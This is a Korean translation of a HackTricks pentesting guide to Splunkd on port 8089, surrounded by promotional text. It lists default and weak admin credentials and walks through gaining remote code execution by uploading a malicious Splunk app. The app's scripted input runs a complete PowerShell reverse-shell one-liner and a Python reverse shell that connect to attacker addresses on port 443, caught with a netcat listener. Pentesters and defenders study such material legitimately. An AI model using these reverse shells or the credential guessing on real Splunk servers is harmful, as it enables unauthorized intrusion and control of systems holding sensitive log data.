9.2 KiB
8089 - Splunkd 펜테스팅
htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅이 되는 AWS 해킹 배우기**
다른 방법으로 HackTricks를 지원하는 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하고 싶다면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 Discord 그룹에 가입하거나 텔레그램 그룹에 가입하거나 Twitter** 🐦 @carlospolopm를 팔로우하세요.
- 해킹 트릭을 공유하고 싶다면 PR을 제출하여 HackTricks 및 HackTricks Cloud github 저장소에 기여하세요.
기본 정보
Splunk은 로그 분석 도구로, 데이터 수집, 분석 및 시각화에 중요한 역할을 합니다. 초기 목적은 SIEM (보안 정보 및 이벤트 관리) 도구로 사용되지 않았지만, 보안 모니터링 및 비즈니스 분석 분야에서 인기를 얻었습니다.
Splunk 배포는 종종 민감한 데이터를 저장하고 시스템을 침해하는 경우 잠재적인 공격자에게 가치 있는 정보원으로 작용할 수 있습니다. 기본 포트: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} 스플렁크 웹 서버는 기본적으로 포트 8000에서 실행됩니다. {% endhint %}
열거
무료 버전
스플렁크 엔터프라이즈 평가판은 60일 후에 무료 버전으로 전환되며 인증이 필요하지 않습니다. 시스템 관리자가 스플렁크 평가판을 설치하여 테스트하는 것은 흔한 일이며, 그 후 잊혀지기 쉽습니다. 이는 인증 형태가 없는 무료 버전으로 자동 전환되어 환경에 보안 허점을 도입합니다. 일부 조직은 예산 제약으로 인해 무료 버전을 선택할 수 있으며, 사용자/역할 관리가 없을 때의 영향을 완전히 이해하지 못할 수 있습니다.
기본 자격 증명
이전 버전의 스플렁크에서는 기본 자격 증명이 **admin:changeme
**으로 설정되어 있으며, 로그인 페이지에 편리하게 표시됩니다.
그러나 최신 버전의 스플렁크는 설치 과정 중에 자격 증명을 설정합니다. 기본 자격 증명이 작동하지 않는 경우 admin
, Welcome
, Welcome1
, Password123
등과 같은 일반적인 약한 암호를 확인하는 것이 좋습니다.
정보 획득
스플렁크에 로그인하면 데이터를 탐색하고 보고서를 실행하며 대시보드를 생성하고, 스플렁크베이스 라이브러리에서 응용 프로그램을 설치하고 사용자 정의 응용 프로그램을 설치할 수 있습니다.
또한 코드를 실행할 수 있습니다: 스플렁크에는 서버 측 Django 응용 프로그램, REST 엔드포인트, 스크립트 입력 및 경보 스크립트와 같이 코드를 실행하는 여러 방법이 있습니다. 스플렁크 서버에서 원격 코드 실행을 얻는 일반적인 방법은 스크립트 입력을 사용하는 것입니다.
또한, 스플렁크는 Windows 또는 Linux 호스트에 설치할 수 있으므로, 스크립트 입력을 만들어 Bash, PowerShell 또는 Batch 스크립트를 실행할 수 있습니다.
Shodan
Splunk 빌드
RCE
사용자 정의 응용 프로그램 생성
사용자 정의 응용 프로그램은 Python, Batch, Bash 또는 PowerShell 스크립트를 실행할 수 있습니다.
스플렁크에는 Python이 설치되어 있으므로, Windows 시스템에서도 Python 코드를 실행할 수 있습니다.
여기에서 이 Splunk 패키지를 사용하여 도움을 받을 수 있습니다. 이 리포지토리의 bin
디렉토리에는 Python 및 PowerShell에 대한 예제가 있습니다. 이를 단계별로 진행해 봅시다.
이를 달성하기 위해 먼저 다음 디렉토리 구조를 사용하여 사용자 정의 스플렁크 응용 프로그램을 만들어야 합니다:
tree splunk_shell/
splunk_shell/
├── bin
└── default
bin
디렉토리에는 실행할 스크립트 (이 경우 PowerShell 역술 쉘)가 포함됩니다. 기본 디렉토리에는 inputs.conf
파일이 있을 것입니다. 우리의 역술 쉘은 PowerShell 원 라이너입니다:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
inputs.conf 파일은 Splunk에게 어떤 스크립트를 실행할지와 다른 조건을 알려줍니다. 여기서 우리는 앱을 활성화하고 Splunk에게 10초마다 스크립트를 실행하도록 지시합니다. 간격은 항상 초 단위이며, 이 설정이 있을 때만 입력(스크립트)이 실행됩니다.
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
우리는 응용 프로그램이 배포될 때 실행되고 PowerShell 원 라이너를 실행할 .bat
파일이 필요합니다.
다음 단계는 파일에서 앱 설치
를 선택하고 응용 프로그램을 업로드하는 것입니다.
악의적인 사용자 정의 앱을 업로드하기 전에 Netcat이나 socat을 사용하여 리스너를 시작합시다.
sudo nc -lnvp 443
listening on [any] 443 ...
Upload app
페이지에서 브라우즈를 클릭하고, 이전에 생성한 tarball을 선택한 후 Upload
를 클릭합니다. 애플리케이션을 업로드하는 즉시, 애플리케이션의 상태가 자동으로 Enabled
로 전환되면서 리버스 쉘이 수신됩니다.
리눅스
만약 리눅스 호스트와 작업 중이라면, 사용자 정의 악의적 앱을 만들기 전에 rev.py
파이썬 스크립트를 편집해야 합니다. 나머지 과정은 동일하며, Netcat 수신기에서 리버스 쉘 연결을 받아들이고 작업을 시작할 수 있습니다.
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE & Privilege Escalation
다음 페이지에서는이 서비스가 어떻게 남용되어 권한 상승 및 지속성 획득에 이용될 수 있는지에 대한 설명을 찾을 수 있습니다:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
References
제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!
HackTricks를 지원하는 다른 방법:
- 회사가 HackTricks에 광고되길 원하거나 PDF 형식의 HackTricks를 다운로드하려면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구입하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 트위터** 🐦 @carlospolopm를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.